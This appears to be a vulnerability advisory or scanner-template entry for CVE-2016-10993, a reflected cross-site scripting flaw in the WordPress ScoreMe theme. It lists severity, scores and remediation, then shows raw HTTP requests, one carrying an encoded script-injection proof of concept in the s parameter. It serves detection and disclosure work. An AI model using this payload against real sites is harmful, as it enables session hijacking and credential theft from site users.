| Title | ScoreMe Theme - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patch or update to the ScoreMe Theme to fix the XSS vulnerability. |
| CVSS Score | 5.4 |
| EPSS Score | 0.01517 |
| CVE ID | CVE-2016-10993 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress wp-theme xss scoreme_project vuln |
WordPress ScoreMe theme through 2016-04-01 contains a reflected cross-site scripting vulnerability via the s parameter which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Accept-Encoding: gzip
GET /?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:86.0) Gecko/20100101 Firefox/86.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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